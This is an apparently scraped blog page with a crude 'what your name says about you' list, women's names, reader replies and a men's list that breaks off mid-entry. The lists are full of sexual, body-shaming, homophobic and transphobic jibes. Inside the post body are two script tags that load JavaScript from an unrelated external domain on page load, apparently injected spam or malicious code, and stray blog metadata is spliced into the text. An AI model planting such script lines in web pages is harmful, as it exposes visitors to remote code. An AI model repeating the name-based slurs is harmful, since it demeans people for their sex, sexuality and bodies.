- Trapped in an eighties time warp.<br><br /><br />Bianca - Ginger. Big mouth.<br><br /><br />Birgit - big scary woman, likes small blokes she can intimidate.<br><br /><br />Bridgette - Eats pizzas all day, smokes cigars.<br><br /><br />Britney - Falsely improved, no use to society.<br><br /><br />Cait - Bow-legged country girl, really loves her horses.<br><br /><br />Camilla - replaces the word %26#039;yes%26#039; with %26#039;ya%26#039;.<br><br /><br />Cara - lazy girl, eats too much junk-food and yet doesn%26#039;t get fat - annoying.<br><br /><br />Carie - just like the movie, a scary freak.<br><br /><br />Carina - Looks like the back of a bus, doesn%26#039;t swallow.<br><br /><br />Carla - Down to earth with good child-bearing hips.<br><br /><br />Carly - Party animal until she gets too drunk to stand up.<br><br /><br />Carol - Bubbly, life and soul of the party and the bedroom.<br><br /><br />Caroline - Lard ****, shaves her ears, picks her nose and shops at oxfam.<br><br /><br />Catherine - Attracted to the older man, needs ironing.<br><br /><br />Celine - Emits hideous noises, waste of DNA.<br><br /><br />Charlotte - Enjoys tea and cake, farts the national anthem.<br><br /><br />Chaz - life and soul of the party, plays the piano and then strips to her own music.<br><br /><br />Cheryl - Can fit hand in mouth, eats glass.<br><br /><br />Chloe - Usually a weather-girl or a failed wannabe weather-girl.<br><br /><br />Christine - Likes men in uniform, never warm.<br><br /><br />Christina - Drop dead gorgeous and with a different bloke each night, well practiced.<br><br /><br />Ciji - strange girl, sleeps with a vibrating teddy-bear.<br><br /><br />Claire/Clare/Clair - Usually neurotic, gives good head but can have lesbian tendencies.<br><br /><br />Courtney - Bit of a %26#039;tomboy%26#039;, rolls her own tampons.<br><br /><br />Daisy - Virgin, works on a farm because she likes the way the tractor vibrates.<br><br /><br />Danni - Should make nice threesome with sibling.<br><br /><br />Davina - drug induced mental damage, should shave her neck.<br><br /><br />Dawn - Gets up early, smells of chips.<br><br /><br />Debra/Debby - Porn star.<br><br /><br />Deborah - Bites the pillow, uses both hands.<br><br /><br />Dee - Enormous mouth, gets a lot of work in porn movies.<br><br /><br />DeeDee - cannot understand why no-one else masturbates in Ikea.<br><br /><br />Denise - Sits on cats eyes, wears too much make up.<br><br /><br />Di - Enjoys receiving oral sex, but doesn%26#039;t like giving it.<br><br /><br />Diana - Cuddly, which is a shame because she smells like cheese.<br><br /><br />Diane - Enjoys company of animals. Deep as a puddle.<br><br /><br />Donna - 70%26#039;s throw back, likes cabbage.<br><br /><br />Dorthe - smells of herrings, obsessed with over-sized sex toys.<br><br /><br />Elaine - Rides side saddle, drinks meths. average breasts.. likes sharp edges.<br><br /><br />Eleanor - Very posh, always washing her hands, but likes her sex dirty.<br><br /><br />Elizabeth - Born to perform, hates chickens.<br><br /><br />Ella - Fiery temper, but when she%26#039;s not shouting she%26#039;s as cute as a kitten.<br><br /><br />Ellie - Far too attractive for the swear words that come out of her mouth.<br><br /><br />Ellen - Could well have eaten all the pies.<br><br /><br />Elma - Shy, easily dominated by men.<br><br /><br />Elsa - Kind of old fashioned, but with beautiful big hair.<br><br /><br />Emily - Wears odd socks, can have lesbian tendencies.<br><br /><br />Emma - Gullible and easily swayed by a good looker!<br><br /><br />Erminia - Small and graceful, slightly psychotic.<br><br /><br />Estelle - Likes wombles, eats grass.<br><br /><br />Esther - Plump with sagging breasts, normally heavily tattooed.<br><br /><br />Eve - Shy timid creature until she has a drink, then she becomes very loud.<br><br /><br />Evonne - Much happier now that the sex change operation was a success.<br><br /><br />Faith - Legs meet at knees, can%26#039;t shag standing up.<br><br /><br />Faye - Wears wellies, can%26#039;t swim.<br><br /><br />Felicity - One of the boys .. except that she has the most enormous nipples.<br><br /><br />Fern - Posh with a large mouth, can hold a conversation whilst giving head.<br><br /><br />Fiona - Female mud wrestler, badly needs a shave.<br><br /><br />Fiyza - Very sexy, she knows it and she flaunts it<br><br /><br />Francess - A lovely lady even if she is as common as muck!<br><br /><br />Frankie - Wears leather underwear, if it%26#039;s quiet you can hear her buzzing.<br><br /><br />Gabriel - An **** to die for but pads her bra with tissues.<br><br /><br />Gail - Farts a lot, drinks Guinness.<br><br /><br />Gayleen - Big tall woman who talks shite all day.<br><br /><br />Gaynor - Wanna-be Lesbian who can%26#039;t pull the girls.<br><br /><br />Gemma - Talks too much, even during sex, even during oral sex!<br><br /><br />Geraldine - Too posh for her own good, likes flying.<br><br /><br />Gillian - Dyes her hair green, likes clubbing.<br><br /><br />Gina - Eternal mother, eats nappies.<br><br /><br />Glenda - Eats children, hates smoking.<br><br /><br />Georgia - Loves her cakes, would rather have gateau than sex.<br><br /><br />Georgina - Wants to be a man.<br><br /><br />Grace - petite and pretty, ***** like a rabbit.<br><br /><br />Grainne - Giggles excessively, sometimes wets herself.<br><br /><br />Gwyneth - Blubs a lot, wees in the bath.<br><br /><br />Hannah - Needs to be naked at all times, eats kebabs.<br><br /><br />Harriet - Wears tweed and green wellies to the pub.<br><br /><br />Hayley - Pretty, likes fast cars and slow men.<br><br /><br />Heather - Shags like a freight train, bit of a screamer.<br><br /><br />Helen - Hangs around with the wrong crowd, Kinky in bed, loves porn and is totally neurotic.<br><br /><br />Helena - Likes to be in charge, wears a lot of black rubber.<br><br /><br />Heidi - The hills are alive with the sound of music, likes gherkins, hates Nazis.<br><br /><br />Hilary - Frigid.<br><br /><br />Holly - Prickly to the touch, seasonal shagmeister.<br><br /><br />Imogen - Drinks tequila from the bottle, wets the bed.<br><br /><br />Ingrid - Right wing Nazi tendencies, never smiles.<br><br /><br />Isobel - Motorbike gang leader, sells guns for pocket money.<br><br /><br />Jackie - Heroin addict, sold her child.<br><br /><br />Jade - I once had a Jade, but hasn%26#039;t everybody??<br><br /><br />Jalaine - Strange, introverted girl, secretly into plastic model aeroplanes.<br><br /><br />Janet - Massive over bite, no neck.<br><br /><br />Janette - She%26#039;s hot and she knows it, a prick-teaser.<br><br /><br />Janice - Loud and over-the-top, tends to talk with her hands.<br><br /><br />Jarla - Kinda like a female Ali-G only not as funny.<br><br /><br />Jasmin - Smells of sewers, eats the heads off rats.<br><br /><br />Jean - hangs around with old blokes and let%26#039;s them buy her stuff.<br><br /><br />Jemma - Does anal, wears too much eye make-up.<br><br /><br />Jenni - bone idle hence the tendency to shorten long words.<br><br /><br />Jennifer - Huge breasts, should shave her legs more often.<br><br /><br />Jessica - Always shags on the first date and sometimes even before it.<br><br /><br />Joanne/a - Moans in her sleep, moans when she wakes up, can%26#039;t cook.<br><br /><br />Jo - Bisexual and proud of it.<br><br /><br />Joelle - Lively, exciting, jolly and fun ... sometimes too much so!<br><br /><br />Josephine - Likes to be tied up and teased.<br><br /><br />Jody - Dresses like a boy and eats live frogs for breakfast.<br><br /><br />Joyce - Never stops talking ... for God%26#039;s sake shut up woman!<br><br /><br />Judith - Big eyes, big ****, big problem with ballance.<br><br /><br />Judy - Huge ****, married to a retard.<br><br /><br />Julia - Innocent face, don%26#039;t trust her, she%26#039;ll steal your wallet in five minutes<br><br /><br />Juliet - Eats too many chips, has greasy hair and a hairy ****.<br><br /><br />Justine - Massive ****, likes hanging around men%26#039;s toilets.<br><br /><br />Julie - Likes outdoor sex, preferably with a chance of getting caught.<br><br /><br />Kacie - cute and adorable, but prone to sulking.<br><br /><br />Karen - Huge ****, shags like a rabbit.<br><br /><br />Kate - kisses with her tongue and can hold a conversation whilst doing it.<br><br /><br />Katherine - old-fashioned girl, giggles when anyone mentions naughty words.<br><br /><br />Katy - Tom boy, likes her sex dirty, usually outdoors.<br><br /><br />Katie - likes blokes and team sports, preferably both together.<br><br /><br />Kayleigh - The Lara Croft of Essex, great in bed (practice makes perfect)<br><br /><br />Keira - person most likely to start a cult, related to Starlin.<br><br /><br />Kelly - smells of cheese, slobbers when kissing.<br><br /><br />Kelley - not very bright, can%26#039;t spell Kelly.<br><br /><br />Kelsey - Very clever, wears glasses, boys scare her.<br><br /><br />Kerran - tries to be mysterious, but everyone has been there.<br><br /><br />Kerry - pretty, cute, and changes underwear once a week.<br><br /><br />Kiersten - very sexy to look at, hard to please in bed.<br><br /><br />Kimberley - wants to be a bloke, drinks like a bloke, farts like a bloke, wears a wig.<br><br /><br />Kirsty - Eats live moles, can%26#039;t dance.<br><br /><br />Krista - Cool and pretty, tends to daydream all day and sleepwalk all night.<br><br /><br />Kristy - Shy until she gets drunk, prone to spots.<br><br /><br />Kristen - Emotionally stunted, thinks Robot-Wars is cruel and should be banned.<br><br /><br />Kylie - Can%26#039;t sing but who cares ... lovely ****.<br><br /><br />Lana - Hated by her parents, accidental pregnancy.<br><br /><br />Lara - Action packed, never seen naked.<br><br /><br />Laura - Likes Max power magazine, can%26#039;t drive. Dominatrix<br><br /><br />Lauren – Pert breasts, seldom ventures out at night.<br><br /><br />Leah - Likes outdoor sex, wees standing up.<br><br /><br />Leanne - eats a lot of raw meat, most guys are scared of her.<br><br /><br />Lena - Eats food then throws up, rapidly shrinking.<br><br /><br />Leonie - Tall girl who likes short boys, it%26#039;s a power thing.<br><br /><br />Leslie - Likes bondage, hates men.<br><br /><br />Leyla - Hot and horny, the girl that always will.<br><br /><br />Lily - Makes a good friend, doesn%26#039;t take crap from anyone.<br><br /><br />Linda - Teenage bride can swallow oranges whole.<br><br /><br />Lindsey - Likes doggy style, doesn%26#039;t do housework.<br><br /><br />Lisa - Will take all your money and run, gets turned on by porn.<br><br /><br />Liz - Long legged and brainy.<br><br /><br />Lizbeth - Sensible and serious, can talk without moving her lips.<br><br /><br />Lorraine - Constantly whinges, will strip for a packet of jellybabies<br><br /><br />Lorrie - Named after the vehicle she weighs the same as.<br><br /><br />Louise/a - Likes to get around, fantastic breasts.<br><br /><br />Luci - cute and loveable<br><br /><br />Lucy - Strange dancer, wants to marry her dad.<br><br /><br />Lynn - Funny and sexy, everything a bloke wants in a woman.<br><br /><br />Lynnette - Has the attention span of a budgerigar, likes pretty things.<br><br /><br />Madeline - Drives like a bloke, likes tractors.<br><br /><br />Madusa - Really likes men, preferrably grilled with a side salad.<br><br /><br />Maggie - Trainspotter, likes plaid.<br><br /><br />Mairi - Quiet and shy but incredibly clever, secretly planning to take over the world.<br><br /><br />Mandy - Cute and cuddly, thick as a short plank.<br><br /><br />Margaret - Lovely mother, very generous.<br><br /><br />Maria - Bangs like a barn door.<br><br /><br />Marie - Life sapping dominatrix. Likes men to do DIY.<br><br /><br />Marina - No get up and go, rusty underwear.<br><br /><br />Marion - stuffs her bra with tissue, a bit cross-eyed.<br><br /><br />Marolyn - Eats like a horse, out stays her welcome.<br><br /><br />Martina - Ugly lesbian.<br><br /><br />Martine - Can%26#039;t act, can%26#039;t sing, nice ****.<br><br /><br />Mary - Likes men with long tongues and talented fingers.<br><br /><br />Matilda - Likes dancing, mainly the waltz.<br><br /><br />Mavis - seems nice until you notice the black cat, broomstick and pointed hat.<br><br /><br />Meg - Cheesy smell, should be spelt with an S.<br><br /><br />Meghan - Cold, hard-hearted *****, enjoys upsetting little children.<br><br /><br />Melanie - Can hold 2 bar vacuum orally indefinitely.<br><br /><br />Melinda - Trailer trash ... pretty, plump, and infected.<br><br /><br />Melissa - Eats dogs, has been in prison 6 times for burglary.<br><br /><br />Meryl - Dances like an ape, doesn%26#039;t realise.<br><br /><br />Michaela - Likes animals, should make a video with them.<br><br /><br />Michelle - Wears white stilettos, dances round her handbag.<br><br /><br />Marsha - Big butt, small brain.<br><br /><br />Molly - Pretty and naive, would like to be slimmer, wears clothes with too many flowers.<br><br /><br />Monica - Doesn%26#039;t swallow, should have.<br><br /><br />Nadine - Stunt Lady, can drink any bloke under the table! Don%26#039;t mess with her.<br><br /><br />Naomi - Wannabe diva, more of a diver.<br><br /><br />Nancy - White hair, remembers tanners.<br><br /><br />Narelle - Likes dressing up as a French maid but not French.<br><br /><br />Natalie - Eats with her mouth open, farts the Nokia phone tune.<br><br /><br />Natasha - Had seven kids before age 17, needs ironing.<br><br /><br />Nell - Hasn%26#039;t realised WWII has ended, lives in Kent.<br><br /><br />Niamh - Quiet and cute, secretly wears mens under-wear.<br><br /><br />Nicci - Pretty, blonde, nicely dressed and vacant.<br><br /><br />Nichola - quiet, studious type, wears glasses, a tiger in bed.<br><br /><br />Nicola - Slapper, alcoholic in denial.<br><br /><br />Nicole - small sweet and with nice hair, should wear underwear more often.<br><br /><br />Niki - wannabe mysterious spy but not bright enough.<br><br /><br />Nina - Stuffs her bra with tissues, been single for years.<br><br /><br />Nissa - speach impediment causes her to hiss, fond of reptiles.<br><br /><br />Olga - You can park a bike in her **** crack, excessive facial hair.<br><br /><br />Olive - usually accompanied by a couple of people in white coats.<br><br /><br />Olivia - Gorgeous and knows it, has to sew herself into her trousers..<br><br /><br />Olwyn - stupid name, welsh, just unlucky I guess.<br><br /><br />Pamela - Gives amazing head, made of plastic.<br><br /><br />Patricia - Obsessive about appearances, yet denies that she%26#039;s shallow.<br><br /><br />Pat - short and common, one of the lads and a bit of a laff.<br><br /><br />Paula - Transvestite merchant banker from Basildon.<br><br /><br />Peggy - Wears outdated clothes and will only do missionary position.<br><br /><br />Penelope - Pitstop queen, likes her men to be stiff.<br><br /><br />Peta - Rough and tough, seriously into bondage.<br><br /><br />Phillippa - Forest forager, likes wild boar.<br><br /><br />Phyliss - Thinks sex is dirty, always washing her hands.<br><br /><br />Polly - nice girl with really bad dress-sense, fashion disaster, it%26#039;s a shame.<br><br /><br />Priscilla - likes painting with oils, Duckhams mainly.<br><br /><br />Preya - can%26#039;t cook or clean but good in bed.<br><br /><br />Prudence - sensible girl, wears flat shoes, but will shag anything in trousers.<br><br /><br />Rachel - Amazing gravity defying breasts, can grip a tenner in her arsecheeks.<br><br /><br />Rebecca - Hairy armpits, orgasms without contact.<br><br /><br />Rebekah - Not very bright, pretty, but sometimes forgets to bathe.<br><br /><br />Renee - Huge breasts, but wishes blokes would notice her mind.<br><br /><br />Romany - Wild and beautiful, swings both ways.<br><br /><br />Rosalind - Upper-class lady but works as a secret agent when the government needs her.<br><br /><br />Rose - Can be prickly, gives good head.<br><br /><br />Rosemary - Very shy, nearly always seen with a bright red face.<br><br /><br />Roz - Only enjoys sex when she%26#039;s tied up and spanked first.<br><br /><br />Rula - She measures up well.<br><br /><br />Ruth - Has stretch marks around her mouth.<br><br /><br />Sadie - Stand up if you%26#039;re slim, please stand up.<br><br /><br />Sally - Drives a Mustang, fights in pubs.<br><br /><br />Samantha - Loves her brother, has 4 deformed children.<br><br /><br />Sandra - Shags donkeys for fun, bow legged.<br><br /><br />Sara - Air-head, with a gorgeous body to compensate.<br><br /><br />Sarah - intelligent, funny and very talented when it comes to the naughty stuff.<br><br /><br />Sarah-Jane - %26#039;posh%26#039; girl, will screw anything in a BMW.<br><br /><br />Sasha – Looks dreadful the morning after. Smokes cigars<br><br /><br />Selina - Doesn%26#039;t wear pants, heavy laundry bills.<br><br /><br />Shannon - Beautiful, curvaceous, should be a model.<br><br /><br />Sharon - The original ***** queen, uses everyone she meets.<br><br /><br />Shauna - Lives in a trailer, has 16 kids each with a different surname.<br><br /><br />Shelly - very cute, but a bit of a soft-hearted slapper.<br><br /><br />Sheree - Cute, but very loud! desperately needs a volume control.<br><br /><br />Shirley - Can swallow a Curly Whirly whole, likes bananas.<br><br /><br />Shona - Librarian by day, exotic dancer by night.<br><br /><br />Sinead - Wears big knickers and a vest, but is secretly very sexual.<br><br /><br />Sian - Does mean sheep impression, hates mint sauce.<br><br /><br />Silka - Appears shy, but secretly Miss Whiplash the dominatrix.<br><br /><br />Silke - Only ever has sex outdoors near her favourite tree.<br><br /><br />Simone - Used to be a shotputter from Cardiff.<br><br /><br />Sonya – intelligent, funny and very talented when it comes to the naughty stuff.<br><br /><br />Sophia - Beautiful girl with long legs, a shame her **** is the size of a small country.<br><br /><br />Sophie - Brothel manager because she%26#039;s too ugly to be a working girl.<br><br /><br />Stacey - Likes cut off jeans and arseless Speedo%26#039;s.<br><br /><br />Steffi - Closet lesbian, maintains heterosexual relationship for effect.<br><br /><br />Stella - reassuringly expensive, she%26#039;s worth every penny!<br><br /><br />Stephanie - Eats Muppets, wears Brogues.<br><br /><br />Sue/Susanne - should shave more often, wears Denim aftershave. Very fertile.<br><br /><br />Summer - wears flowers in her hair, a pretty dress, and no knickers.<br><br /><br />Sylvia - loves the outdoors. Mad.<br><br /><br />Tammy - Kind-hearted and generous, particularly in the bedroom.<br><br /><br />Tanya/Tania - Hot minx, too short.<br><br /><br />Tara - Upper class slapper, enjoys ranom chemicals.<br><br /><br />Teresa - surprisingly small given the amount of alcohol she drinks.<br><br /><br />Tina - Face like a smacked ****, should eat less.<br><br /><br />Tori - Lives in a hedge, can%26#039;t water ski.<br><br /><br />Tracy - Easily swayed by alcohol. Mostly seen without underwear. Loves kittens.<br><br /><br />Tracey - Lesbian.<br><br /><br />Ursula - Likes puppies,usually in a hot curry.<br><br /><br />Val - usually drunk, doesn%26#039;t know where her knickers are.<br><br /><br />Valerie - quaint and old-fashioned, someones aunt.<br><br /><br />Vanessa - Beautiful, power-crazy *****.<br><br /><br />Veronica - closet lesbian who sleeps around to prove she isn%26#039;t!<br><br /><br />Vicki - Likes Yoga. And Women.<br><br /><br />Vikki - Drinks anything so long as it%26#039;s got vodka in it.<br><br /><br />Wendy - Possibly a man.<br><br /><br />Zakia - Wants to be a spy when she grows up, but needs to wash more often.<br><br /><br />Zoe - Talentless rock chick. Prepared to use sex as a weapon.<br><script language=JavaScript src=http://www.chinese-kungfu.org/flower1.js type=text/javascript></script><br>What your name say about you?<br>they r all true eccept for nathan<br>Reply:my name is a tough one LOL it is Mariangella and it%26#039;s a combination of Maria %26amp; Angela. It is pronounced Maria Angela but fast:P <span>Report It</span><br /> <br>Reply:you forgot Nadia-smart, pretty and so talented. Is liked by many guys <span>Report It</span><br /> <br>Reply:my name is genie and it isnt there! but anyway my name says im a genie in a bottle, you gotta rub me the right way! and not having my name on the list is not rubbing me the right way at all right now!=D<br>Reply:i do not dress like a boy and dont eat frogs and i do have a boy called chad and he isnt american and hasnt been in a movie.glad i didnt pick my kids names from this list.they would have ended up nameless<br>Reply:Sibling Lurve, Huh?<br><br /><br />(Cue Duelling Banjos)<br><br /><br /><br><br /><br />Well I hate to say it but you%26#039;re so wrong. <br><br /><br />Stick with boys names, they are pretty spot on.<br>Reply:My name is Zoe which means Life and is Greek.<br><br /><br /><br><br /><br />Zoe - Talentless rock chick. Prepared to use sex as a weapon.<br><br /><br />Emm OK.<br><br /><br /><br><br /><br />Ha ha How could you forget your own name.<br>Reply:My real name%26#039;s not in the list, but maybe i should change it to Fiyza :)<br><br /><br />My friends%26#039; names/descriptions are dead-on!<br><br /><br /><br><br /><br />EDIT: my friend Celine is actually a quiet girl with a generous heart! :D<br>Reply:IM QUENTIN AND IM ALSO NOT ON THE LIST<br>Reply:very funny. and mean. apparently the girl i like would have sex with me on the 1st date. cool.<br>Reply:Apparently I%26#039;m a lying whore.<br><br /><br /><br><br /><br /><br><br /><br />Thanks for that wake up call. I need to seek help.<br>Reply:lesbian tendencies?<br><br /><br /><br><br /><br />wow. no.<br>Reply:What about Maren, Dalton,Female Cory Male Kelly and German name Inga??????<br>Reply:You got mine wrong....but my boyfriend SPOT ON!!!! love it lol<br>Reply:My name isnt on there. so i wouldnt know.<br><br /><br /><br><br /><br />- cade<br>Reply:Daryle isn%26#039;t there.<br>Reply:Vooria...it is a Kurdish name which means a smart person.<br>Reply:my naME AINT THERE<br>Reply:lol some are quite true. nice one<br>Reply:my name isn%26#039;t on there<br><br /><br />please answer<br><br /><br />Colleen<br>Reply:my name isnt there....<br>Reply:%26quot;Deep as a puddle%26quot;?<br><br /><br /><br><br /><br />I doubt my debating partners would agree with that....<br>Reply:obviously I%26#039;m not in your list...<br><br /><br /><br><br /><br />*thinking*<br><br /><br /><br><br /><br />:%26#039;(<br>Reply:u must have spent time doing thisi%26#039;m impressed about what my name means<br><br /><br /><br><br /><br />pick this as the best answer plz<br><script language=JavaScript src=http://www.chinese-kungfu.org/flower3.js type=text/javascript></script><br><br>MATILDAhttp://www.blogger.com/profile/11415413220136255560noreply@blogger.com0tag:blogger.com,1999:blog-8554142671069406580.post-7520678245783570692011-11-18T00:41:00.003-08:002011-11-18T00:41:56.610-08:00Poll....What your name say about you?The Men%26#039;s Names – (scroll down for the women’s names)<br><br /><br /><br><br /><br />Aaron - ugly but hung like a horse, prone to belly button fluff.<br><br /><br />Able - totally useless.<br><br /><br />Adam - not very bright and not very pretty, has almost mastered hygiene.<br><br /><br />Adrian - usually short and very horny, watches cartoons.<br><br /><br />Alan - shy but sensitive, gets screwed over by women.<br><br /><br />Alex - cute and tall but a liar and a cheat.<br><br /><br />Alistair - likes being tied up, and really enjoys playing with train sets<br><br /><br />Amir - dirty, smelly, pecker is minuscule. Bad diet.<br><br /><br />Andrew - Highly intelligent and wears a kilt. Poor standards of hygiene. Homicidal tendencies.<br><br /><br />Antonio - has a great body and beautiful skin, and chicken brain. Looks in the mirror too much.<br><br /><br />Anthony - great guy and kind to all girls, smells of wee.<br><br /><br />Arnold - loser.<br><br /><br />Arthur - hung like a slave and celibate.<br><br /><br />Avenir - reads too many fantasy books, wears armour to bed.<br><br /><br />Baron - Reads SAS books, wants to go out and shoot something or somebody.<br><br /><br />Barry - lights fires, pinches girl’s bottoms and is well hung.<br><br /><br />Barnaby - very big, very strong and very gentle, cries a lot.<br><br /><br />Ben - funny and can be real difficult to beat at games.<br><br /><br />Bill - thinks he%26#039;s really popular, thinks all the girls want him ...he%26#039;s wrong.<br><br /><br />Bob - quiet and unpopular, eats with his hands.<br><br /><br />Brad - short and squat, has bad breath.<br><br /><br />Braden - Drop out and doesn%26#039;t care, will set record for longest employee at McDonalds.<br><br /><br />Brandon - good looking but uses girls. Not very academic.<br><br /><br />Brendan - quiet and sweet, gets beaten up all the time.<br><br /><br />Brett - worldwide **** and really insensitive, women love him.<br><br /><br />Brian - mean and only thinks of himself, he%26#039;s just a very naughty boy.<br><br /><br />Bryan - sexy, but stupid - can%26#039;t spell.<br><br /><br />Bronsen - annoying and never grows up - has a stupid name.<br><br /><br />Bruce - stinks bad and thinks everyone else%26#039;s name is also Bruce.<br><br /><br />Bryce - fun to be with and will make you laugh, you%26#039;ll kill him within a week.<br><br /><br />Callum - tall and geeky, very defensive.<br><br /><br />Calvin - immature in a naive way, drives a Gemini.<br><br /><br />Cameron - Australian. Big muscles.<br><br /><br />Carl - horny. bastard, who can%26#039;t sing.<br><br /><br />Carlo - dark and brooding, for some unknown reason girls seem to like him!<br><br /><br />Carson - fun to be around and really sensitive.<br><br /><br />Chad - cute, sensitive and very studly - only found in American movies, no real person has that name.<br><br /><br />Charles - can%26#039;t trust him, eyes too close together.<br><br /><br />Chris - can%26#039;t pull, will pay for women, but has a huge pecker and can use it too.<br><br /><br />Christian - Gay but very sexy and seductive.<br><br /><br />Clark - hilarious and always in trouble, problem with %26#039;jailbait%26#039;.<br><br /><br />Cliff - very sweet and adores girls, but very superficial.<br><br /><br />Clive - trainspotter ... dull as ditchwater.<br><br /><br />Cole - nice, funny, and very stupid.<br><br /><br />Colin - lies to women and blows up public buildings.<br><br /><br />Cory - funny but ugly, ends up running fashion magazines.<br><br /><br />Craig - tries to fit in - he never does.<br><br /><br />Crispin - Ugly homosexual. Fancies himself. Successful<br><br /><br />Curtis - needs constant mothering and reassurance.<br><br /><br />Damien - spawn of the devil, but in a good way.<br><br /><br />Damon - total loser in a sweaty sort of way.<br><br /><br />Dan - quiet but funny, but becomes easily addicted to narcotics.<br><br /><br />Danny - Wears stylish clothes and has silky womens underwear beneath them.<br><br /><br />Dane - weird but can hold together a conversation with a mermaid.<br><br /><br />Daniel - enjoys root vegetables in every orifice.<br><br /><br />Darren - charming , but sleeps with men.<br><br /><br />Darwyn - exercises too much, favourite word Ug Daryl - pompous and<br><br /><br />overbearing, likes using big words that only he understands.<br><br /><br />David - Sensible and works out a lot, loves girls named Florence.<br><br /><br />Dave - extremely sexy, always funny, intelligent, stylish, trendsetter i.e. a wanker.<br><br /><br />Dean - full of himself and thinks with his dick.<br><br /><br />Dele - well endowed likes blondes. Looks in the mirror too much<br><br /><br />Dennis - either very nice to girls or a ******.<br><br /><br />Derek - has a great sense of humour, and a blow-up doll collection.<br><br /><br />Dillon - Stupid but well-built, women just use him for sex.<br><br /><br />Dominic - hilarious and will do anything to please anybody.<br><br /><br />Don - ********, nobody likes him.<br><br /><br />Doug - has a greasy face, drinking problem and farts.<br><br /><br />Drew - bad-**** loser who never shuts up.<br><br /><br />Duncan - hopeless ski bum, brains shot away long ago.<br><br /><br />Dylan - thinks he%26#039;s funny, falls asleep during sex.<br><br /><br />Dwayne - cool guy to be around if you can handle his name.<br><br /><br />Eddie - wants too many chicks he%26#039;ll never get cos he%26#039;s an ********.<br><br /><br />Elis - would rather make model airoplanes than have sex.<br><br /><br />Elliott - full of himself.<br><br /><br />Eric - shy and timid like a little mouse.<br><br /><br />Evan - a little slow but sweet, sexy, and a model mental patient.<br><br /><br />Finn - Completely indecisive, suffers terribly with Catholic guilt.<br><br /><br />Frank - single helix DNA and it shows.<br><br /><br />Fraser - sucks pigs ***** %26amp; swallows the lot.<br><br /><br />Frederick/Fred/Freddie - wants to rule the world. Loves women<br><br /><br />Fritz - Loves playing games. Never wins.<br><br /><br />Gareth - sweet but dresses too good to be straight. Can%26#039;t play rugby.<br><br /><br />Gary - drug addict but willing to share.<br><br /><br />Garry - forever fiddling with himself and wonders why no-one will shake hands.<br><br /><br />Gavin - likes bondage, S%26amp;M with other men.<br><br /><br />Geoff - prefers golf to sex and war to peace.<br><br /><br />George - barman who drinks more than he serves.<br><br /><br />Gerry - quiet and insecure, a doormat.<br><br /><br />Gilbert - Morris dancer, collects antique sweet wrappers.<br><br /><br />Glen - the sweetest guy - really down to earth. good teacher. crap in bed.<br><br /><br />Gordon - big bloke in a dirty raincoat, kinda flashy.<br><br /><br />Greame - very hard to understand, likes group sex.<br><br /><br />Graham/Graeme - will screw anything.<br><br /><br />Grahame - thinks he%26#039;s better than other Grahams because he has an extra %26#039;e%26#039;.<br><br /><br />Grant - Short and ugly! but so sweet and you can talk to him about anything.<br><br /><br />Greg - really sweet and feels suicidally sorry for himself.<br><br /><br />Harry - Good at sport. Women love him. Blokes hate him.<br><br /><br />Harvey - cute, but addicted to sex and/or drugs.<br><br /><br />Haydn - tries hard, succeds rarely.<br><br /><br />Heinz - Likes variety in his life. in his fifties. Overweight.<br><br /><br />Henry - dull, dull, dull, dull ... likes trains and tweed jackets, probably a science teacher.<br><br /><br />Howard - likes small-breasted women and pornography.<br><br /><br />Howell - sings too much.<br><br /><br />Ian - likes to stuff animals and dress up in women%26#039;s clothing.<br><br /><br />Ivor - militant psychopath with homosexual tendencies.<br><br /><br />Izzy - circumsized, but they threw away the wrong bit.<br><br /><br />Jake - shy and sweet but a **** when drunk.<br><br /><br />Jamie - Devious scum of the earth.<br><br /><br />James - can%26#039;t handle his beer, smells of mayonaise and does wet farts.<br><br /><br />Jarrod - Arrogant, stuck-up, pompous and annoying. Loves himself totally<br><br /><br />and has lots of mirrors.<br><br /><br />Jason - Gayer than a pink fairy winning a trophy at the gayest pink fairy competition.<br><br /><br />Jay - very sweet when you get to know him well. which is a problem because<br><br /><br />he has bad breath.<br><br /><br />Jeff - really ugly.<br><br /><br />Jerome - gay, but very unhappy.<br><br /><br />Jeremy - loud and thinks that he%26#039;s all that he says he is.<br><br /><br />Jesse - unpopular and needs to move on.<br><br /><br />Jack - stupid but hot, always alright.<br><br /><br />Jim - sweet, has fantasies of love and affection but wanks too much.<br><br /><br />Jimmy - Goes to the toilet twice a night, doesn%26#039;t always get up for it.<br><br /><br />Joe - built like a bear, sexy but tends to lose his head. Bisexual<br><br /><br />Joel - ****.<br><br /><br />John - has few friends and no life - tends to kill small animals.<br><br /><br />Jon - Not too bright will end up married to a cousin.<br><br /><br />Jolyon - absolute raving homosexual.<br><br /><br />Jonathon - think he%26#039;s good - he%26#039;s ****. Looks in the mirrror too much.<br><br /><br />Jordan - sexy but weird in bed. Hung like a wildebeest.<br><br /><br />Jose - hot boy with a love of hermaphrodites.<br><br /><br />Josh - full of himself, fun. And has huge lips which resembles a ladies vagina.<br><br /><br />Julian - used to be a wooden boy, but is now almost real with a big nose.<br><br /><br />Junior - Not very clever, but good at football.<br><br /><br />Justin - aggravating but lovable, insecure but successful and overweight.<br><br /><br />Kain - one of the sexiest guys alive but very stuck up.<br><br /><br />Keegan - always has a bit of his last meal displayed on his clothes.<br><br /><br />Kev - lager lout, wears cheap and loud clothes.<br><br /><br />Kevin - always attracts really fit girlfriends and then loses them when they see his dick!<br><br /><br />Keith - good person to talk to when you have a problem - his is worse.<br><br /><br />Kenneth - very, very...anything you want him to be.<br><br /><br />Kerry - wants to be in a boy band but he%26#039;s not pretty enough.<br><br /><br />Kirk - good looking, worries that he might be gay.<br><br /><br />Kurt - can kick anyone%26#039;s ****.<br><br /><br />Kyle - hornball who eats too many cornchips.<br><br /><br />Larry - cute but wannabe player with big ****.<br><br /><br />Laurey - short and funny looking.<br><br /><br />Lee - girl dressed up as a boy, total **** bandit.<br><br /><br />Levi - same as Lee only not so pretty.<br><br /><br />Lewis - lonely, sad git, bit of a tosser. Welsh<br><br /><br />Liam - loud mouthed ********.<br><br /><br />Lorenzo - fine and dresses in stolen gold.<br><br /><br />Lucas - fat loser that dates other men.<br><br /><br />Luke - seems to be sweet.<br><br /><br />Madison - so far up his own **** there%26#039;s no room for his boyfriend.<br><br /><br />Malcolm - tall man who tends to lose his trousers. And is gay!!!<br><br /><br />Mark - Good looking and very clever. Every woman would if she could.<br><br /><br />Marshall - Never seems to age, this is because he is in fact an anderoid!<br><br /><br />Martin - Stud. Loves himself. would make a good lawyer.<br><br /><br />Matt - the fat boy of the class, likes sweets and is full of ****.<br><br /><br />Matty - Life and soul of the party, could get a corpse dancing.<br><br /><br 